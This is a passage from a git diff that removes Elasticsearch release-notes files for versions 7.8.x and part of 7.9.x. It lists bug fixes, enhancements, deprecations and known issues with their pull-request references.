-* Upgrade to AWS SDK 1.11.749 {es-pull}53962[#53962] (issue: {es-issue}53191[#53191])
-* Upgrade to Azure SDK 8.6.2 {es-pull}53865[#53865]
-* Upgrade GCS SDK to 1.104.0 {es-pull}52839[#52839]
diff --git a/docs/reference/release-notes/7.8.asciidoc b/docs/reference/release-notes/7.8.asciidoc
deleted file mode 100644
index 71e15b86368..00000000000
--- a/docs/reference/release-notes/7.8.asciidoc
+++ /dev/null
@@ -1,499 +0,0 @@
-[[release-notes-7.8.1]]
-== {es} version 7.8.1
-
-Also see <<breaking-changes-7.8,Breaking changes in 7.8>>.
-
-[[known-issues-7.8.1]]
-[discrete]
-=== Known issues
-
-* SQL: If a `WHERE` clause contains at least two relational operators joined by
-`AND`, of which one is a comparison (`<=`, `<`, `>=`, `>`) and another one is
-an inequality (`!=`, `<>`), both against literals or foldable expressions, the
-inequality will be ignored. The workaround is to substitute the inequality
-with a `NOT IN` operator.
-+
-We have fixed this issue in {es} 7.10.1 and later versions. For more details,
-see {es-issue}65488[#65488].
-
-[[breaking-7.8.1]]
-[discrete]
-=== Breaking changes
-
-License::
-* Display enterprise license as platinum in /_xpack {es-pull}58217[#58217]
-
-
-
-[[feature-7.8.1]]
-[discrete]
-=== New features
-
-SQL::
-* Implement SUM, MIN, MAX, AVG over literals {es-pull}56786[#56786] (issues: {es-issue}41412[#41412], {es-issue}55569[#55569])
-
-
-
-[[enhancement-7.8.1]]
-[discrete]
-=== Enhancements
-
-Authorization::
-* Add read privileges for observability-annotations for apm_user {es-pull}58530[#58530] (issues: {es-issue}64796[#64796], {es-issue}69642[#69642], {es-issue}69881[#69881])
-
-Features/Indices APIs::
-* Change "apply create index" log level to DEBUG {es-pull}56947[#56947]
-* Make noop template updates be cluster state noops {es-pull}57851[#57851] (issue: {es-issue}57662[#57662])
-* Rename template V2 classes to ComposableTemplate {es-pull}57183[#57183] (issue: {es-issue}56609[#56609])
-
-Machine Learning::
-* Add exponent output aggregator to inference {es-pull}58933[#58933]
-
-Snapshot/Restore::
-* Allow read operations to be executed without waiting for full range to be written in cache {es-pull}58728[#58728] (issues: {es-issue}58164[#58164], {es-issue}58477[#58477])
-* Allows SparseFileTracker to progressively execute listeners during Gap processing {es-pull}58477[#58477] (issue: {es-issue}58164[#58164])
-* Do not wrap CacheFile reentrant r/w locks with ReleasableLock {es-pull}58244[#58244] (issue: {es-issue}58164[#58164])
-* Use snapshot information to build searchable snapshot store MetadataSnapshot {es-pull}56289[#56289]
-
-Transform::
-* Improve update API {es-pull}57648[#57648] (issue: {es-issue}56499[#56499])
-
-
-
-[[bug-7.8.1]]
-[discrete]
-=== Bug fixes
-
-CCR::
-* Ensure CCR partial reads never overuse buffer {es-pull}58620[#58620]
-
-Cluster Coordination::
-* Suppress cluster UUID logs in 6.8/7.x upgrade {es-pull}56835[#56835]
-* Timeout health API on busy master {es-pull}57587[#57587]
-
-Engine::
-* Fix realtime get of numeric fields from translog {es-pull}58121[#58121] (issue: {es-issue}57462[#57462])
-
-Features/ILM+SLM::
-* Fix negative limiting with fewer PARTIAL snapshots than minimum required {es-pull}58563[#58563] (issue: {es-issue}58515[#58515])
-
-Features/Indices APIs::
-* Fix issue reading template mappings after cluster restart {es-pull}58964[#58964] (issues: {es-issue}58521[#58521], {es-issue}58643[#58643], {es-issue}58883[#58883])
-* ITV2: disallow duplicate dynamic templates {es-pull}56291[#56291] (issues: {es-issue}28988[#28988], {es-issue}53101[#53101], {es-issue}53326[#53326])
-
-
-Features/Stats::
-* Fix unnecessary stats warning when swap is disabled {es-pull}57983[#57983]
-
-Geo::
-* Fix max-int limit for number of points reduced in geo_centroid {es-pull}56370[#56370] (issue: {es-issue}55992[#55992])
-* Re-enable support for array-valued geo_shape fields. {es-pull}58786[#58786]
-
-Infra/Core::
-* Week based parsing for ingest date processor {es-pull}58597[#58597] (issue: {es-issue}58479[#58479])
-
-Machine Learning::
-* Allow unran/incomplete forecasts to be deleted for stopped/failed jobs {es-pull}57152[#57152] (issue: {es-issue}56419[#56419])
-* Fix inference .ml-stats-write alias creation {es-pull}58947[#58947] (issue: {es-issue}58662[#58662])
-* Fix race condition when force stopping data frame analytics job {es-pull}57680[#57680]
-* Handle broken setup with state alias being an index {es-pull}58999[#58999] (issue: {es-issue}58482[#58482])
-* Mark forecasts for force closed/failed jobs as failed {es-pull}57143[#57143] (issue: {es-issue}56419[#56419])
-* Better interrupt handling during named pipe connection {ml-pull}1311[#1311]
-* Trap potential cause of SIGFPE {ml-pull}1351[#1351] (issue: {ml-issue}1348[#1348])
-* Correct inference model definition for MSLE regression models {ml-pull}1375[#1375]
-* Fix cause of SIGSEGV of classification and regression {ml-pull}1379[#1379]
-* Fix restoration of change detectors after seasonality change {ml-pull}1391[#1391]
-* Fix potential SIGSEGV when forecasting {ml-pull}1402[#1402] (issue: {ml-issue}1401[#1401])
-
-Network::
-* Close channel on handshake error with old version {es-pull}56989[#56989] (issue: {es-issue}54337[#54337])
-
-Percolator::
-* Fix nested document support in percolator query {es-pull}58149[#58149] (issue: {es-issue}52850[#52850])
-
-Recovery::
-* Fix recovery stage transition with sync_id {es-pull}57754[#57754] (issues: {es-issue}57187[#57187], {es-issue}57708[#57708])
-
-SQL::
-* Fix behaviour of COUNT(DISTINCT <literal>) {es-pull}56869[#56869]
-* Fix bug in resolving aliases against filters {es-pull}58399[#58399] (issues: {es-issue}57270[#57270], {es-issue}57417[#57417])
-* Fix handling of escaped chars in JDBC connection string {es-pull}58429[#58429] (issue: {es-issue}57927[#57927])
-* Handle MIN and MAX functions on dates in Painless scripts {es-pull}57605[#57605] (issue: {es-issue}57581[#57581])
-
-Search::
-* Ensure search contexts are removed on index delete {es-pull}56335[#56335]
-* Filter empty fields in SearchHit#toXContent {es-pull}58418[#58418] (issue: {es-issue}41656[#41656])
-* Fix exists query on unmapped field in query_string {es-pull}58804[#58804] (issues: {es-issue}55785[#55785], {es-issue}58737[#58737])
-* Fix handling of terminate_after when size is 0 {es-pull}58212[#58212] (issue: {es-issue}57624[#57624])
-* Fix possible NPE on search phase failure {es-pull}57952[#57952] (issues: {es-issue}51708[#51708], {es-issue}57945[#57945])
-* Handle failures with no explicit cause in async search {es-pull}58319[#58319] (issues: {es-issue}57925[#57925], {es-issue}58311[#58311])
-* Improve error handling in async search code {es-pull}57925[#57925] (issue: {es-issue}58995[#58995])
-* Prevent BigInteger serialization errors in term queries {es-pull}57987[#57987] (issue: {es-issue}57917[#57917])
-* Submit async search to not require read privilege {es-pull}58942[#58942]
-
-Snapshot/Restore::
-* Fix Incorrect Snapshot Shar Status for DONE Shards in Running Snapshots {es-pull}58390[#58390]
-* Fix Memory Leak From Master Failover During Snapshot {es-pull}58511[#58511] (issue: {es-issue}56911[#56911])
-* Fix NPE in SnapshotService CS Application {es-pull}58680[#58680]
-* Fix Snapshot Abort Not Waiting for Data Nodes {es-pull}58214[#58214]
-* Remove Overly Strict Safety Mechnism in Shard Snapshot Logic {es-pull}57227[#57227] (issue: {es-issue}57198[#57198])
-
-Task Management::
-* Cancel persistent task recheck when no longer master {es-pull}58539[#58539] (issue: {es-issue}58531[#58531])
-* Ensure unregister child node if failed to register task {es-pull}56254[#56254] (issues: {es-issue}54312[#54312], {es-issue}55875[#55875])
-
-Transform::
-* Fix page size return in cat transform, add dps {es-pull}57871[#57871] (issues: {es-issue}56007[#56007], {es-issue}56498[#56498])
-
-
-
-[[upgrade-7.8.1]]
-[discrete]
-=== Upgrades
-
-Infra/Core::
-* Upgrade to JNA 5.5.0 {es-pull}58183[#58183]
-
-
-[[release-notes-7.8.0]]
-== {es} version 7.8.0
-
-Also see <<breaking-changes-7.8,Breaking changes in 7.8>>.
-
-[[known-issues-7.8.0]]
-[discrete]
-=== Known issues
-
-* SQL: If a `WHERE` clause contains at least two relational operators joined by
-`AND`, of which one is a comparison (`<=`, `<`, `>=`, `>`) and another one is
-an inequality (`!=`, `<>`), both against literals or foldable expressions, the
-inequality will be ignored. The workaround is to substitute the inequality
-with a `NOT IN` operator.
-+
-We have fixed this issue in {es} 7.10.1 and later versions. For more details,
-see {es-issue}65488[#65488].
-
-[[breaking-7.8.0]]
-[discrete]
-=== Breaking changes
-
-Aggregations::
-* `value_count` aggregation optimization {es-pull}54854[#54854]
-
-Features/Indices APIs::
-* Add auto create action {es-pull}55858[#55858]
-
-Mapping::
-* Disallow changing 'enabled' on the root mapper {es-pull}54463[#54463] (issue: {es-issue}33933[#33933])
-* Fix updating include_in_parent/include_in_root of nested field {es-pull}54386[#54386] (issue: {es-issue}53792[#53792])
-
-
-[[deprecation-7.8.0]]
-[discrete]
-=== Deprecations
-
-Authentication::
-* Deprecate the `kibana` reserved user; introduce `kibana_system` user {es-pull}54967[#54967]
-
-Cluster Coordination::
-* Voting config exclusions should work with absent nodes {es-pull}50836[#50836] (issue: {es-issue}47990[#47990])
-
-Features/Features::
-* Add node local storage deprecation check {es-pull}54383[#54383] (issue: {es-issue}54374[#54374])
-
-Features/Indices APIs::
-* Deprecate local parameter for get field mapping request {es-pull}55014[#55014]
-
-Infra/Core::
-* Deprecate node local storage setting {es-pull}54374[#54374]
-
-Infra/Plugins::
-* Add xpack setting deprecations to deprecation API {es-pull}56290[#56290] (issue: {es-issue}54745[#54745])
-* Deprecate disabling basic-license features {es-pull}54816[#54816] (issue: {es-issue}54745[#54745])
-* Deprecated xpack "enable" settings should be no-ops {es-pull}55416[#55416] (issues: {es-issue}54745[#54745], {es-issue}54816[#54816])
-* Make xpack.ilm.enabled setting a no-op {es-pull}55592[#55592] (issues: {es-issue}54745[#54745], {es-issue}54816[#54816], {es-issue}55416[#55416])
-* Make xpack.monitoring.enabled setting a no-op {es-pull}55617[#55617] (issues: {es-issue}54745[#54745], {es-issue}54816[#54816], {es-issue}55416[#55416], {es-issue}55461[#55461], {es-issue}55592[#55592])
-* Restore xpack.ilm.enabled and xpack.slm.enabled settings {es-pull}57383[#57383] (issues: {es-issue}54745[#54745], {es-issue}55416[#55416], {es-issue}55592[#55592])
-
-
-
-[[feature-7.8.0]]
-[discrete]
-=== New features
-
-Aggregations::
-* Add Student's t-test aggregation support {es-pull}54469[#54469] (issue: {es-issue}53692[#53692])
-* Add support for filters to t-test aggregation {es-pull}54980[#54980] (issue: {es-issue}53692[#53692])
-* Histogram field type support for Sum aggregation {es-pull}55681[#55681] (issue: {es-issue}53285[#53285])
-* Histogram field type support for ValueCount and Avg aggregations {es-pull}55933[#55933] (issue: {es-issue}53285[#53285])
-
-Features/Indices APIs::
-* Add simulate template composition API _index_template/_simulate_index/{name}  {es-pull}55686[#55686] (issue: {es-issue}53101[#53101])
-
-Geo::
-* Add geo_bounds aggregation support for geo_shape {es-pull}55328[#55328]
-* Add geo_shape support for geotile_grid and geohash_grid {es-pull}55966[#55966]
-* Add geo_shape support for the geo_centroid aggregation {es-pull}55602[#55602]
-* Add new point field {es-pull}53804[#53804]
-
-SQL::
-* Implement DATETIME_FORMAT function for date/time formatting {es-pull}54832[#54832] (issue: {es-issue}53714[#53714])
-* Implement DATETIME_PARSE function for parsing strings {es-pull}54960[#54960] (issue: {es-issue}53714[#53714])
-* Implement scripting inside aggs {es-pull}55241[#55241] (issues: {es-issue}29980[#29980], {es-issue}36865[#36865], {es-issue}37271[#37271])
-
-
-
-[[enhancement-7.8.0]]
-[discrete]
-=== Enhancements
-
-Aggregations::
-* Aggs must specify a `field` or `script` (or both) {es-pull}52226[#52226]
-* Expose aggregation usage in Feature Usage API {es-pull}55732[#55732] (issue: {es-issue}53746[#53746])
-* Reduce memory for big aggregations run against many shards {es-pull}54758[#54758]
-* Save memory in on aggs in async search {es-pull}55683[#55683]
-
-Allocation::
-* Disk decider respect watermarks for single data node {es-pull}55805[#55805]
-* Improve same-shard allocation explanations {es-pull}56010[#56010]
-
-Analysis::
-* Add preserve_original setting in ngram token filter {es-pull}55432[#55432]
-* Add preserve_original setting in edge ngram token filter {es-pull}55766[#55766] (issue: {es-issue}55767[#55767])
-* Add pre-configured “lowercase” normalizer {es-pull}53882[#53882] (issue: {es-issue}53872[#53872])
-
-Audit::
-* Update the audit logfile list of system users {es-pull}55578[#55578] (issue: {es-issue}37924[#37924])
-
-Authentication::
-* Let realms gracefully terminate the authN chain {es-pull}55623[#55623]
-
-Authorization::
-* Add reserved_ml_user and reserved_ml_admin kibana privileges {es-pull}54713[#54713]
-
-Autoscaling::
-* Rollover: refactor out cluster state update {es-pull}53965[#53965]
-
-CRUD::
-* Avoid holding onto bulk items until all completed {es-pull}54407[#54407]
-
-Cluster Coordination::
-* Add voting config exclusion add and clear API spec and integration test cases {es-pull}55760[#55760] (issue: {es-issue}48131[#48131])
-
-Features/CAT APIs::
-* Add support for V2 index templates to /_cat/templates {es-pull}55829[#55829] (issue: {es-issue}53101[#53101])
-
-Features/Indices APIs::
-* Add HLRC support for simulate index template api {es-pull}55936[#55936] (issue: {es-issue}53101[#53101])
-* Add prefer_v2_templates flag and index setting {es-pull}55411[#55411] (issue: {es-issue}53101[#53101])
-* Add warnings/errors when V2 templates would match same indices as V1 {es-pull}54367[#54367] (issue: {es-issue}53101[#53101])
-* Disallow merging existing mapping field definitions in templates {es-pull}57701[#57701] (issues: {es-issue}55607[#55607], {es-issue}55982[#55982], {es-issue}57393[#57393])
-* Emit deprecation warning if multiple v1 templates match with a new index {es-pull}55558[#55558] (issue: {es-issue}53101[#53101])
-* Guard adding the index.prefer_v2_templates settings for pre-7.8 nodes {es-pull}55546[#55546] (issues: {es-issue}53101[#53101], {es-issue}55411[#55411], {es-issue}55539[#55539])
-* Handle merging dotted object names when merging V2 template mappings {es-pull}55982[#55982] (issue: {es-issue}53101[#53101])
-* Throw exception on duplicate mappings metadata fields when merging templates {es-pull}57835[#57835] (issue: {es-issue}57701[#57701])
-* Update template v2 api rest spec {es-pull}55948[#55948] (issue: {es-issue}53101[#53101])
-* Use V2 index templates during index creation {es-pull}54669[#54669] (issue: {es-issue}53101[#53101])
-* Use V2 templates when reading duplicate aliases and ingest pipelines {es-pull}54902[#54902] (issue: {es-issue}53101[#53101])
-* Validate V2 templates more strictly {es-pull}56170[#56170] (issues: {es-issue}43737[#43737], {es-issue}46045[#46045], {es-issue}53101[#53101], {es-issue}53970[#53970])
-
-Features/Java High Level REST Client::
-* Enable support for decompression of compressed response within RestHighLevelClient {es-pull}53533[#53533]
-
-Features/Stats::
-* Fix available / total disk cluster stats {es-pull}32480[#32480] (issue: {es-issue}32478[#32478])
-
-Features/Watcher::
-* Delay warning about missing x-pack {es-pull}54265[#54265] (issue: {es-issue}40898[#40898])
-
-Geo::
-* Add geo_shape mapper supporting doc-values in Spatial Plugin {es-pull}55037[#55037] (issue: {es-issue}53562[#53562])
-
-Infra/Core::
-* Decouple Environment from DiscoveryNode {es-pull}54373[#54373]
-* Ensure that the output of node roles are sorted {es-pull}54376[#54376] (issue: {es-issue}54370[#54370])
-* Reintroduce system index APIs for Kibana {es-pull}54858[#54858] (issues: {es-issue}52385[#52385], {es-issue}53912[#53912])
-* Schedule commands in current thread context {es-pull}54187[#54187] (issue: {es-issue}17143[#17143])
-* Start resource watcher service early {es-pull}54993[#54993] (issue: {es-issue}54867[#54867])
-
-Infra/Packaging::
-* Make Windows JAVA_HOME handling consistent with Linux {es-pull}55261[#55261] (issue: {es-issue}55134[#55134])
-
-
-Infra/REST API::
-* Add validation to the usage service {es-pull}54617[#54617]
-
-Infra/Scripting::
-* Scripting: stats per context in nodes stats {es-pull}54008[#54008] (issue: {es-issue}50152[#50152])
-
-Machine Learning::
-* Add effective max model memory limit to ML info {es-pull}55529[#55529] (issue: {es-issue}63942[#63942])
-* Add loss_function to regression {es-pull}56118[#56118]
-* Add new inference_config field to trained model config {es-pull}54421[#54421]
-* Add failed_category_count to model_size_stats {es-pull}55716[#55716] (issue: {es-issue}1130[#1130])
-* Add prediction_field_type to inference config {es-pull}55128[#55128]
-* Allow a certain number of ill-formatted rows when delimited format is specified {es-pull}55735[#55735] (issue: {es-issue}38890[#38890])
-* Apply default timeout in StopDataFrameAnalyticsAction.Request {es-pull}55512[#55512]
-* Create an annotation when a model snapshot is stored {es-pull}53783[#53783] (issue: {es-issue}52149[#52149])
-* Do not execute ML CRUD actions when upgrade mode is enabled {es-pull}54437[#54437] (issue: {es-issue}54326[#54326])
-* Make find_file_structure recognize Kibana CSV report timestamps {es-pull}55609[#55609] (issue: {es-issue}55586[#55586])
-* More advanced model snapshot retention options {es-pull}56125[#56125] (issue: {es-issue}52150[#52150])
-* Return assigned node in start/open job/datafeed response {es-pull}55473[#55473] (issue: {es-issue}54067[#54067])
-* Skip daily maintenance activity if upgrade mode is enabled {es-pull}54565[#54565] (issue: {es-issue}54326[#54326])
-* Start gathering and storing inference stats {es-pull}53429[#53429]
-* Unassign data frame analytics tasks in SetUpgradeModeAction {es-pull}54523[#54523] (issue: {es-issue}54326[#54326])
-* Speed up anomaly detection for the lat_long function {ml-pull}1102[#1102]
-* Reduce CPU scheduling priority of native analysis processes to favor the ES
-JVM when CPU is constrained. This change is implemented only for Linux and macOS,
-not for Windows {ml-pull}1109[#1109]
-* Take `training_percent` into account when estimating memory usage for
-classification and regression {ml-pull}1111[#1111]
-* Support maximize minimum recall when assigning class labels for multiclass
-classification {ml-pull}1113[#1113]
-* Improve robustness of anomaly detection to bad input data {ml-pull}1114[#1114]
-* Add new `num_matches` and `preferred_to_categories` fields to category output
-{ml-pull}1062[#1062]
-* Add mean squared logarithmic error (MSLE) for regression {ml-pull}1101[#1101]
-* Add pseudo-Huber loss for regression {ml-pull}1168[#1168]
-* Reduce peak memory usage and memory estimates for classification and regression
-{ml-pull}1125[#1125].)
-* Reduce variability of classification and regression results across our target
-operating systems {ml-pull}1127[#1127]
-* Switch data frame analytics model memory estimates from kilobytes to
-megabytes {ml-pull}1126[#1126] (issue: {es-issue}54506[#54506])
-* Add a {ml} native code build for Linux on AArch64 {ml-pull}1132[#1132],
-{ml-pull}1135[#1135]
-* Improve data frame analytics runtime by optimising memory alignment for intrinsic
-operations {ml-pull}1142[#1142]
-* Fix spurious anomalies for count and sum functions after no data are received
-for long periods of time {ml-pull}1158[#1158]
-* Improve false positive rates from periodicity test for time series anomaly
-detection {ml-pull}1177[#1177]
-* Break progress reporting of data frame analyses into multiple phases {ml-pull}1179[#1179]
-* Really centre the data before training for classification and regression begins. This
-means we can choose more optimal smoothing bias and should reduce the number of trees
-{ml-pull}1192[#1192]
-
-Mapping::
-* Merge V2 index/component template mappings in specific manner {es-pull}55607[#55607] (issue: {es-issue}53101[#53101])
-
-Recovery::
-* Avoid copying file chunks in peer covery {es-pull}56072[#56072] (issue: {es-issue}55353[#55353])
-* Retry failed peer recovery due to transient errors {es-pull}55353[#55353]
-
-SQL::
-* Add BigDecimal support to JDBC {es-pull}56015[#56015] (issue: {es-issue}43806[#43806])
-* Drop BASE TABLE type in favour for just TABLE {es-pull}54836[#54836]
-* Relax version lock between server and clients {es-pull}56148[#56148]
-
-Search::
-* Consolidate DelayableWriteable {es-pull}55932[#55932]
-* Exists queries to MatchNoneQueryBuilder when the field is unmapped  {es-pull}54857[#54857]
-* Rewrite wrapper queries to match_none if possible {es-pull}55271[#55271]
-* SearchService#canMatch takes into consideration the alias filter {es-pull}55120[#55120] (issue: {es-issue}55090[#55090])
-
-Snapshot/Restore::
-* Add GCS support for searchable snapshots {es-pull}55403[#55403]
-* Allocate searchable snapshots with the balancer {es-pull}54889[#54889] (issues: {es-issue}50999[#50999], {es-issue}54729[#54729])
-* Allow bulk snapshot deletes to abort {es-pull}56009[#56009] (issue: {es-issue}55773[#55773])
-* Allow deleting multiple snapshots at once {es-pull}55474[#55474]
-* Allow searching of snapshot taken while indexing {es-pull}55511[#55511] (issue: {es-issue}50999[#50999])
-* Allow to prewarm the cache for searchable snapshot shards {es-pull}55322[#55322]
-* Enable prewarming by default for searchable snapshots {es-pull}56201[#56201] (issue: {es-issue}55952[#55952])
-* Permit searches to be concurrent to prewarming {es-pull}55795[#55795]
-* Reduce contention in CacheFile.fileLock() method {es-pull}55662[#55662]
-* Require soft deletes for searchable snapshots {es-pull}55453[#55453]
-* Searchable Snapshots should respect max_restore_bytes_per_sec {es-pull}55952[#55952]
-* Update the HDFS version used by HDFS Repo {es-pull}53693[#53693]
-* Use streaming reads for GCS {es-pull}55506[#55506] (issue: {es-issue}55505[#55505])
-* Use workers to warm cache parts {es-pull}55793[#55793] (issue: {es-issue}55322[#55322])
-
-Task Management::
-* Add indexName in update-settings task name {es-pull}55714[#55714]
-* Add scroll info to search task description {es-pull}54606[#54606]
-* Broadcast cancellation to only nodes have outstanding child tasks {es-pull}54312[#54312] (issues: {es-issue}50990[#50990], {es-issue}51157[#51157])
-* Support hierarchical task cancellation {es-pull}54757[#54757] (issue: {es-issue}50990[#50990])
-
-Transform::
-* Add throttling {es-pull}56007[#56007] (issue: {es-issue}54862[#54862])
-
-
-
-[[bug-7.8.0]]
-[discrete]
-=== Bug fixes
-
-Aggregations::
-* Add analytics plugin usage stats to _xpack/usage {es-pull}54911[#54911] (issue: {es-issue}54847[#54847])
-* Aggregation support for Value Scripts that change types {es-pull}54830[#54830] (issue: {es-issue}54655[#54655])
-* Allow terms agg to default to depth first {es-pull}54845[#54845]
-* Clean up how pipeline aggs check for multi-bucket {es-pull}54161[#54161] (issue: {es-issue}53215[#53215])
-* Fix auto_date_histogram serialization bug {es-pull}54447[#54447] (issues: {es-issue}54382[#54382], {es-issue}54429[#54429])
-* Fix error massage for unknown value type {es-pull}55821[#55821] (issue: {es-issue}55727[#55727])
-* Fix scripted metric in CCS {es-pull}54776[#54776] (issue: {es-issue}54758[#54758])
-* Use Decimal formatter for Numeric ValuesSourceTypes {es-pull}54366[#54366] (issue: {es-issue}54365[#54365])
-
-Allocation::
-* Fix Broken ExistingStoreRecoverySource Deserialization {es-pull}55657[#55657] (issue: {es-issue}55513[#55513])
-
-
-Features/ILM+SLM::
-* ILM stop step execution if writeIndex is false {es-pull}54805[#54805]
-
-Features/Indices APIs::
-* Fix NPE in MetadataIndexTemplateService#findV2Template {es-pull}54945[#54945]
-* Fix creating filtered alias using now in a date_nanos range query failed {es-pull}54785[#54785] (issue: {es-issue}54315[#54315])
-* Fix simulating index templates without specified index {es-pull}56295[#56295] (issues: {es-issue}53101[#53101], {es-issue}56255[#56255])
-* Validate non-negative priorities for V2 index templates {es-pull}56139[#56139] (issue: {es-issue}53101[#53101])
-
-Features/Watcher::
-* Ensure watcher email action message ids are always unique {es-pull}56574[#56574]
-
-Infra/Core::
-* Add generic Set support to streams {es-pull}54769[#54769] (issue: {es-issue}54708[#54708])
-
-Machine Learning::
-* Fix GET _ml/inference so size param is respected {es-pull}57303[#57303] (issue: {es-issue}57298[#57298])
-* Fix file structure finder multiline merge max for delimited formats {es-pull}56023[#56023]
-* Validate at least one feature is available for DF analytics {es-pull}55876[#55876] (issue: {es-issue}55593[#55593])
-* Trap and fail if insufficient features are supplied to data frame analyses.
-Otherwise, classification and regression got stuck at zero analyzing progress
-{ml-pull}1160[#1160] (issue: {es-issue}55593[#55593])
-* Make categorization respect the model_memory_limit {ml-pull}1167[#1167]
-(issue: {ml-issue}1130[#1130])
-* Respect user overrides for max_trees for classification and regression
-{ml-pull}1185[#1185]
-* Reset memory status from soft_limit to ok when pruning is no longer required
-{ml-pull}1193[#1193] (issue: {ml-issue}1131[#1131])
-* Fix restore from training state for classification and regression
-{ml-pull}1197[#1197]
-* Improve the initialization of seasonal components for anomaly detection
-{ml-pull}1201[#1201] (issue: {ml-issue}#1178[#1178])
-
-Network::
-* Fix issue with pipeline releasing bytes early {es-pull}54458[#54458]
-* Handle TLS file updates during startup {es-pull}54999[#54999] (issue: {es-issue}54867[#54867])
-
-SQL::
-* Fix DATETIME_PARSE behaviour regarding timezones {es-pull}56158[#56158] (issue: {es-issue}54960[#54960])
-
-Search::
-* Don't expand default_field in query_string before required {es-pull}55158[#55158] (issue: {es-issue}53789[#53789])
-* Fix `time_zone` for  `query_string` and date fields {es-pull}55881[#55881] (issue: {es-issue}55813[#55813])
-
-Security::
-* Fix certutil http for empty password with JDK 11 and lower {es-pull}55437[#55437] (issue: {es-issue}55386[#55386])
-
-Transform::
-* Fix count when matching exact ids {es-pull}56544[#56544] (issue: {es-issue}56196[#56196])
-* Fix http status code when bad scripts are provided {es-pull}56117[#56117] (issue: {es-issue}55994[#55994])
-
-
-
-[[regression-7.8.0]]
-[discrete]
-=== Regressions
-
-Infra/Scripting::
-* Don't double-wrap expression values {es-pull}54432[#54432] (issue: {es-issue}53661[#53661])
-
diff --git a/docs/reference/release-notes/7.9.asciidoc b/docs/reference/release-notes/7.9.asciidoc
deleted file mode 100644
index 973a562b615..00000000000
--- a/docs/reference/release-notes/7.9.asciidoc
+++ /dev/null
@@ -1,687 +0,0 @@
-[[release-notes-7.9.3]]
-== {es} version 7.9.3
-
-Also see <<breaking-changes-7.9,Breaking changes in 7.9>>.
-
-[[known-issues-7.9.3]]
-[discrete]
-=== Known issues
-
-* SQL: If a `WHERE` clause contains at least two relational operators joined by
-`AND`, of which one is a comparison (`<=`, `<`, `>=`, `>`) and another one is
-an inequality (`!=`, `<>`), both against literals or foldable expressions, the
-inequality will be ignored. The workaround is to substitute the inequality
-with a `NOT IN` operator.
-+
-We have fixed this issue in {es} 7.10.1 and later versions. For more details,
-see {es-issue}65488[#65488].
-
-[[bug-7.9.3]]
-[float]
-=== Bug fixes
-
-Allocation::
-* InternalClusterInfoService should not ignore hidden indices {es-pull}62995[#62995]
-
-Audit::
-* Move RestRequestFilter to core {es-pull}63507[#63507]
-
-Authentication::
-* Ensure domain_name setting for AD realm is present {es-pull}61983[#61983] (issue: {es-issue}61859[#61859])
-
-Authorization::
-* Fix API key role descriptors rewrite bug for upgraded clusters {es-pull}62917[#62917] (issue: {es-issue}62911[#62911])
-
-CCR::
-* Retry CCR shard follow task when no seed node left {es-pull}63225[#63225]
-
-Cluster Coordination::
-* Uniquely associate term with update task during election {es-pull}62212[#62212] (issue: {es-issue}61437[#61437])
-
-EQL::
-* Avoid filtering on tiebreakers {es-pull}63215[#63215] (issue: {es-issue}62781[#62781])
-* Fix bug in sequences with any pattern {es-pull}63007[#63007] (issue: {es-issue}62967[#62967])
-
-Engine::
-* Fix to actually throttle indexing on getting activated {es-pull}61768[#61768]
-
-Features/Data streams::
-* Fix querying a data stream name in index field {es-pull}63170[#63170]
-
-Features/Ingest::
-* Handle error conditions when simulating ingest pipelines with verbosity enabled {es-pull}63327[#63327] (issue: {es-issue}63199[#63199])
-* Make for each processor resistant to field modification {es-pull}62791[#62791] (issue: {es-issue}62790[#62790])
-
-Machine Learning::
-* Fix online updates with custom rules referencing filters {es-pull}63057[#63057] (issue: {es-issue}62948[#62948])
-* Reset reindexing progress when data frame analytics job resumes with incomplete reindexing {es-pull}62772[#62772]
-
-SQL::
-* Fix exception when using CAST on inexact field {es-pull}62943[#62943] (issue: {es-issue}60178[#60178])
-
-Search::
-* Async search should retry updates on version conflict {es-pull}63652[#63652] (issue: {es-issue}63213[#63213])
-
-Transform::
-* Fix possible NPE if transform task has no node assigned {es-pull}62946[#62946] (issue: {es-issue}62847[#62847])
-* Filter null objects from field caps request {es-pull}62945[#62945]
-
-
-
-[[upgrade-7.9.3]]
-[float]
-=== Upgrades
-
-Infra/Packaging::
-* Switch bundled JDK back to Oracle JDK {es-pull}63288[#63288] (issue: {es-issue}62709[#62709])
-
-
-[[release-notes-7.9.2]]
-== {es} version 7.9.2
-
-Also see <<breaking-changes-7.9,Breaking changes in 7.9>>.
-
-[[known-issues-7.9.2]]
-[discrete]
-=== Known issues
-
-* SQL: If a `WHERE` clause contains at least two relational operators joined by
-`AND`, of which one is a comparison (`<=`, `<`, `>=`, `>`) and another one is
-an inequality (`!=`, `<>`), both against literals or foldable expressions, the
-inequality will be ignored. The workaround is to substitute the inequality
-with a `NOT IN` operator.
-+
-We have fixed this issue in {es} 7.10.1 and later versions. For more details,
-see {es-issue}65488[#65488].
-
-[[deprecation-7.9.2]]
-[float]
-=== Deprecations
-
-Infra/Plugins::
-* Deprecate xpack.eql.enabled setting and make it a no-op {es-pull}61375[#61375] (issue: {es-issue}54745[#54745])
-
-[[enhancement-7.9.2]]
-[float]
-=== Enhancements
-
-Mapping::
-* Improve error messages on bad [format] and [null_value] params for date mapper {es-pull}61932[#61932] (issue: {es-issue}61712[#61712])
-
-[[bug-7.9.2]]
-[float]
-=== Bug fixes
-
-Aggregations::
-* Cardinality request breaker leak {es-pull}62685[#62685] (issue: {es-issue}62439[#62439])
-* Fix bug with terms' min_doc_count {es-pull}62130[#62130] (issue: {es-issue}62084[#62084])
-
-Analysis::
-* Fix standard filter BWC check to allow for cacheing bug {es-pull}62649[#62649] (issues: {es-issue}33310[#33310], {es-issue}51092[#51092], {es-issue}62644[#62644])
-
-Authentication::
-* Ensure domain_name setting for AD realm is present {es-pull}61859[#61859]
-* Update authc failure headers on license change {es-pull}61734[#61734] (issue: {es-issue}56318[#56318])
-
-Authorization::
-* Ensure authz operation overrides transient authz headers {es-pull}61621[#61621]
-
-CCR::
-* CCR should retry on CircuitBreakingException {es-pull}62013[#62013] (issue: {es-issue}55633[#55633])
-
-EQL::
-* Create the search request with a list of indices {es-pull}62005[#62005] (issue: {es-issue}60793[#60793])
-
-Engine::
-* Allow enabling soft-deletes on restore from snapshot {es-pull}62018[#62018] (issue: {es-issue}61969[#61969])
-
-Features/Data streams::
-* Always validate that only a create op is allowed in bulk api for data streams {es-pull}62766[#62766] (issue: {es-issue}62762[#62762])
-* Fix NPE when deleting multiple backing indices on a data stream {es-pull}62274[#62274] (issue: {es-issue}62272[#62272])
